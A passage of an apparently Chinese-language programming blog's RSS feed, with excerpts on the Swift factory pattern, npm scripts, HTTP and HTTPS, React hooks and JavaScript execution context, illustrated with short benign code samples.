&lt;p&gt;当首次对某个类的实例调用 &lt;code&gt;addObserver:forKeyPath:options:context:&lt;/code&gt; 时，Runtime 会：&lt;/p&gt;</description></item><item><title>工厂模式</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E5%B7%A5%E5%8E%82%E6%A8%A1%E5%BC%8F/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E5%B7%A5%E5%8E%82%E6%A8%A1%E5%BC%8F/</guid><description>&lt;h2 id="定义"&gt;定义&lt;/h2&gt;
&lt;p&gt;工厂模式（Factory Pattern）是一种创建型设计模式，它提供了一种创建对象的方式，将对象的创建逻辑与使用逻辑分离。工厂模式有三种变体：简单工厂模式、工厂方法模式和抽象工厂模式。&lt;/p&gt;
&lt;h2 id="为什么需要工厂模式"&gt;为什么需要工厂模式&lt;/h2&gt;
&lt;p&gt;工厂模式要解决的核心问题是：&lt;strong&gt;将对象的创建过程与使用过程分离&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问题场景&lt;/strong&gt;：假设我们正在开发一个网络层，需要创建URLSession对象。&lt;/p&gt;
&lt;p&gt;直接使用构造函数创建对象看起来很简单：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;NetworkManager&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fetchData&lt;/span&gt;(from url: URL) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 直接创建URLSession&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; config = URLSessionConfiguration.&lt;span style="color:#66d9ef"&gt;default&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; config.timeoutIntervalForRequest = &lt;span style="color:#ae81ff"&gt;30&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; config.httpAdditionalHeaders = [&lt;span style="color:#e6db74"&gt;&amp;#34;Authorization&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Bearer xxx&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; session = URLSession(configuration: config)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; session.dataTask(with: url) { data, response, error &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 处理响应...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }.resume()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这种方式有什么问题？&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;创建逻辑与业务逻辑混在一起&lt;/strong&gt;：&lt;code&gt;fetchData&lt;/code&gt;方法既要负责创建session，又要负责发起请求，职责不单一&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;创建逻辑无法复用&lt;/strong&gt;：如果另一个方法也需要相同配置的session，只能复制这段创建代码&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;难以替换实现&lt;/strong&gt;：如果想在测试时使用Mock的session，或者在不同环境使用不同配置，需要修改业务代码&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;隐藏了依赖关系&lt;/strong&gt;：从方法签名看不出这个类依赖URLSession，依赖关系被隐藏在方法内部&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;工厂模式的解决思路&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;工厂模式的核心是：&lt;strong&gt;调用方不再自己new对象，而是向工厂&amp;quot;要&amp;quot;对象&lt;/strong&gt;。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 工厂负责创建&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;URLSessionFactory&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;createDefault&lt;/span&gt;() -&amp;gt; URLSession {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; config = URLSessionConfiguration.&lt;span style="color:#66d9ef"&gt;default&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; config.timeoutIntervalForRequest = &lt;span style="color:#ae81ff"&gt;30&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; config.httpAdditionalHeaders = [&lt;span style="color:#e6db74"&gt;&amp;#34;Authorization&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Bearer xxx&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; URLSession(configuration: config)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;createBackground&lt;/span&gt;(identifier: String) -&amp;gt; URLSession {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; config = URLSessionConfiguration.background(withIdentifier: identifier)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; URLSession(configuration: config)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 业务代码只负责使用&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;NetworkManager&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; session: URLSession
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;init&lt;/span&gt;(session: URLSession = URLSessionFactory.createDefault()) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;self&lt;/span&gt;.session = session
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fetchData&lt;/span&gt;(from url: URL) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; session.dataTask(with: url) { data, response, error &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 处理响应...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }.resume()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这样做的好处：&lt;/p&gt;</description></item><item><title>前端任务自动化（npm scripts实现）</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-005/</link><pubDate>Thu, 07 Aug 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-005/</guid><description>&lt;p&gt;在前端开发中，我们经常需要执行各种重复性任务，比如编译代码、启动本地服务器、监听文件变化、运行测试、部署代码等。虽然可以使用不同的工具来完成这些任务，但&lt;code&gt;npm&lt;/code&gt;本身提供了一个强大的功能：&lt;code&gt;npm scripts&lt;/code&gt;。通过&lt;code&gt;npm scripts&lt;/code&gt;，我们可以将这些任务脚本化并集中管理，从而提高开发效率。&lt;/p&gt;
&lt;p&gt;本文将专注于如何使用&lt;code&gt;npm scripts&lt;/code&gt;自动化前端开发任务，以及它在项目管理中的作用。&lt;/p&gt;
&lt;h3 id="什么是npm-scripts"&gt;什么是&lt;code&gt;npm scripts&lt;/code&gt;？&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;npm scripts&lt;/code&gt;是&lt;code&gt;npm&lt;/code&gt;提供的一种机制，允许我们在项目的&lt;code&gt;package.json&lt;/code&gt;文件中定义一组命令，方便执行各种任务。在&lt;code&gt;package.json&lt;/code&gt;文件中，&lt;code&gt;scripts&lt;/code&gt;字段可以包含多个脚本，每个脚本都是一个键值对，其中键是脚本的名称，值是实际要执行的命令。例如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;scripts&amp;#34;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;build&amp;#34;: &amp;#34;webpack --config webpack.config.js&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;test&amp;#34;: &amp;#34;jest&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在上面的示例中，定义了两个脚本：&lt;code&gt;build&lt;/code&gt; 和 &lt;code&gt;test&lt;/code&gt;。可以通过以下方式在命令行中运行这些脚本：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npm run build
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npm run test
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;npm&lt;/code&gt;会执行对应的命令，自动帮我们完成编译和测试任务。&lt;/p&gt;
&lt;h3 id="为什么使用npm-scripts"&gt;为什么使用&lt;code&gt;npm scripts&lt;/code&gt;？&lt;/h3&gt;
&lt;p&gt;在现代前端开发流程中，自动化任务是不可或缺的，而&lt;code&gt;npm scripts&lt;/code&gt;的使用有以下几大优势：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;减少对全局依赖的需求&lt;/strong&gt;：在传统项目中，开发者通常需要全局安装各种命令行工具，如&lt;code&gt;webpack&lt;/code&gt;、&lt;code&gt;eslint&lt;/code&gt;、&lt;code&gt;babel&lt;/code&gt;等。而&lt;code&gt;npm scripts&lt;/code&gt;可以直接调用项目的本地依赖，无需全局安装。这确保了不同开发环境中的工具版本一致，减少了版本冲突和兼容性问题。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;集中管理任务&lt;/strong&gt;：&lt;code&gt;npm scripts&lt;/code&gt;将所有任务定义集中在&lt;code&gt;package.json&lt;/code&gt;文件中，项目中的所有开发人员都可以直观地看到可用的任务列表，无需了解每个工具的详细使用方法。只需运行&lt;code&gt;npm run &amp;lt;task&amp;gt;&lt;/code&gt;，便可一键完成常见任务。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;支持跨平台执行&lt;/strong&gt;：&lt;code&gt;npm scripts&lt;/code&gt;中的命令可以跨平台使用，在Windows、macOS和Linux系统上表现一致，尤其适合团队协作。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;便于组合和链式执行&lt;/strong&gt;：&lt;code&gt;npm&lt;/code&gt;允许通过逻辑操作符来组合脚本，实现复杂任务的自动化执行。例如可以通过&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;和&lt;code&gt;||&lt;/code&gt;来串联多个任务，使得多个步骤一次完成。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="如何定义和使用npm-scripts"&gt;如何定义和使用&lt;code&gt;npm scripts&lt;/code&gt;？&lt;/h3&gt;
&lt;p&gt;让我们通过具体的示例来看看&lt;code&gt;npm scripts&lt;/code&gt;如何自动化前端开发任务。&lt;/p&gt;
&lt;h4 id="1-设置基本的开发任务"&gt;1. 设置基本的开发任务&lt;/h4&gt;
&lt;p&gt;假设我们正在开发一个React项目，我们可以在&lt;code&gt;package.json&lt;/code&gt;中定义以下基本任务：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;scripts&amp;#34;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;start&amp;#34;: &amp;#34;webpack serve --mode development&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;build&amp;#34;: &amp;#34;webpack --mode production&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;test&amp;#34;: &amp;#34;jest&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;lint&amp;#34;: &amp;#34;eslint src/**/*.js&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里的脚本分别执行以下任务：&lt;/p&gt;</description></item><item><title>http和https</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/http-https/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/http-https/</guid><description>&lt;h2 id="http"&gt;HTTP&lt;/h2&gt;
&lt;h3 id="基础"&gt;基础&lt;/h3&gt;
&lt;p&gt;HTTP 超文本传输协议 ，应用层协议。主要用于 Web 上传输超媒体文本的底层协议，经常在浏览器和服务器之间传递数据。通信就是以纯文本的形式进行。&lt;/p&gt;
&lt;h3 id="http-是无状态"&gt;HTTP 是无状态&lt;/h3&gt;
&lt;p&gt;无状态是 HTTP 协议对客户端请求状态没有进行存储，比如每次请求都需要重新登录&lt;/p&gt;
&lt;h3 id="http-是无连接"&gt;HTTP 是无连接&lt;/h3&gt;
&lt;p&gt;无连接主要是限制每次连接只处理一个请求。每次请求都是客户发起请求，服务端响应请求，然后就断开连接。这期间就是通过三次握手建立连接，四次挥手断开连接。每次请求即便是多次请求并请求同一个资源，服务端都无法判断是否是相同请求，都需要重新响应请求。&lt;/p&gt;
&lt;p&gt;所以，为了解决客户端和服务端保持会话连接，通过 cookie 和 session 来记录 http 状态。&lt;/p&gt;
&lt;p&gt;HTTP 的其他特点是简单快速，只需传送方法和路径就可以向服务端进行请求；还有支持传输任意类型的数据对象。&lt;/p&gt;
&lt;h2 id="https"&gt;HTTPS&lt;/h2&gt;
&lt;h3 id="基础-1"&gt;基础&lt;/h3&gt;
&lt;p&gt;https 是 http 的“升级”版本：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HTTPS = HTTP+ SSL/TLS
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;SSL 是安全层，TLS 是传输层安全，是SSL 的继承。使用SSL或TLS 可确保传输数据的安全性。&lt;/p&gt;
&lt;p&gt;使用 HTTP 可能看到传输数据是： “这是明文信息”&lt;/p&gt;
&lt;p&gt;使用 HTTPS 可能看到： “283hd9saj9cdsncihquhs99ndso”&lt;/p&gt;
&lt;p&gt;HTTPS 传输的不再是文本，而是二进制流，使得传输更高效，且加密处理更加安全。&lt;/p&gt;
&lt;h3 id="https-的工作流程"&gt;HTTPS 的工作流程&lt;/h3&gt;
&lt;p&gt;1、客户端请求 HTTPS 请求并连接到服务器的 443 端口，此过程和请求 HTTP 请求一样，进行三次握手；&lt;/p&gt;
&lt;p&gt;2、服务端向客户端发送数字证书，其中包含公钥、证书颁发者、到期日期&lt;/p&gt;
&lt;p&gt;现比较流行的加解密码对，即公钥和私钥。公钥用于加密，私钥用于解密。所以服务端会保留私钥，然后发送公钥给客户端。&lt;/p&gt;
&lt;p&gt;3、客户端收到证书，会验证证书的有效性。验证通过后会生成一个随机的 pre-master key。再将密钥通过接收到的公钥加密然后发送给服务端&lt;/p&gt;
&lt;p&gt;4、服务端接收后使用私钥进行解密得到 pre-master key&lt;/p&gt;
&lt;p&gt;5、获得 pre-master key 后，服务器和客户端可以使用主密钥进行通信。&lt;/p&gt;</description></item><item><title>react hooks</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-hooks/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-hooks/</guid><description>&lt;h2 id="一-前言"&gt;一 前言&lt;/h2&gt;
&lt;p&gt;React hooks是react16.8 以后，react新增的钩子API，目的是增加代码的可复用性，逻辑性，弥补无状态组件没有生命周期，没有数据管理状态state的缺陷。&lt;/p&gt;
&lt;p&gt;本章节将介绍目前 React 提供的所有 hooks ，介绍其功能类型和基本使用方法。&lt;/p&gt;
&lt;h3 id="11-技术背景"&gt;1.1 技术背景&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;react hooks 解决了什么问题？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;先设想一下，如果没有 Hooks，函数组件能够做的只是接受 Props、渲染 UI ，以及触发父组件传过来的事件。所有的处理逻辑都要在类组件中写，这样会使 class 类组件内部错综复杂，每一个类组件都有一套独特的状态，相互之间不能复用，即便是 React 之前出现过 mixin 等复用方式，但是伴随出 mixin 模式下隐式依赖，代码冲突覆盖等问题，也不能成为 React 的中流砥柱的逻辑复用方案。所以 React 放弃 mixin 这种方式。&lt;/p&gt;
&lt;p&gt;类组件是一种面向对象思想的体现，类组件之间的状态会随着功能增强而变得越来越臃肿，代码维护成本也比较高，而且不利于后期 tree shaking。所以有必要做出一套函数组件代替类组件的方案，于是 Hooks 也就理所当然的诞生了。&lt;/p&gt;
&lt;p&gt;所以 Hooks 出现本质上原因是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;让函数组件也能做类组件的事，有自己的状态，可以处理一些副作用，能获取 ref ，也能做数据缓存。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;解决逻辑复用难的问题。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;放弃面向对象编程，拥抱函数式编程。&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;为什么要使用自定义 Hooks ？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;自定义 hooks 是在 React Hooks 基础上的一个拓展，可以根据业务需求制定满足业务需要的组合 hooks ，更注重的是逻辑单元。通过业务场景不同，到底需要React Hooks 做什么，怎么样把一段逻辑封装起来，做到复用，这是自定义 hooks 产生的初衷。&lt;/p&gt;
&lt;p&gt;自定义 hooks 也可以说是 React Hooks 聚合产物，其内部有一个或者多个 React Hooks 组成，用于解决一些复杂逻辑。&lt;/p&gt;</description></item><item><title>执行上下文</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-005/</link><pubDate>Wed, 06 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-005/</guid><description>&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-005/image-01.webp"&gt;&lt;br&gt;
我们在JS学习初期或者面试的时候常常会遇到考核变量提升的思考题。比如先来一个简单一点的。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 这里会打印出什么？
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;暂时先不管这个例子，我们先引入一个JavaScript中最基础，但同时也是最重要的一个概念&lt;strong&gt;执行上下文（Execution Context）&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;每次当控制器转到可执行代码的时候，就会进入一个执行上下文。执行上下文可以理解为当前代码的执行环境，它会形成一个作用域。JavaScript中的运行环境大概包括三种情况。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;全局环境：JavaScript代码运行起来会首先进入该环境&lt;/li&gt;
&lt;li&gt;函数环境：当函数被调用执行时，会进入当前函数中执行代码&lt;/li&gt;
&lt;li&gt;eval（不建议使用，可忽略）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此在一个JavaScript程序中，必定会产生多个执行上下文，在我的上一篇文章中也有提到，JavaScript引擎会以栈的方式来处理它们，这个栈，我们称其为函数调用栈(call stack)。栈底永远都是全局上下文，而栈顶就是当前正在执行的上下文。&lt;/p&gt;
&lt;p&gt;当代码在执行过程中，遇到以上三种情况，都会生成一个执行上下文，放入栈中，而处于栈顶的上下文执行完毕之后，就会自动出栈。为了更加清晰的理解这个过程，根据下面的例子，结合图示给大家展示。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;执行上下文可以理解为函数执行的环境，每一个函数执行时，都会给对应的函数创建这样一个执行环境。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;color&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;blue&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;changeColor&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;anotherColor&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;red&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;swapColors&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;tempColor&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;anotherColor&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;anotherColor&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;color&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;color&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;tempColor&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;swapColors&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;changeColor&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;我们用ECStack来表示处理执行上下文组的堆栈。我们很容易知道，第一步，首先是全局上下文入栈。&lt;/p&gt;
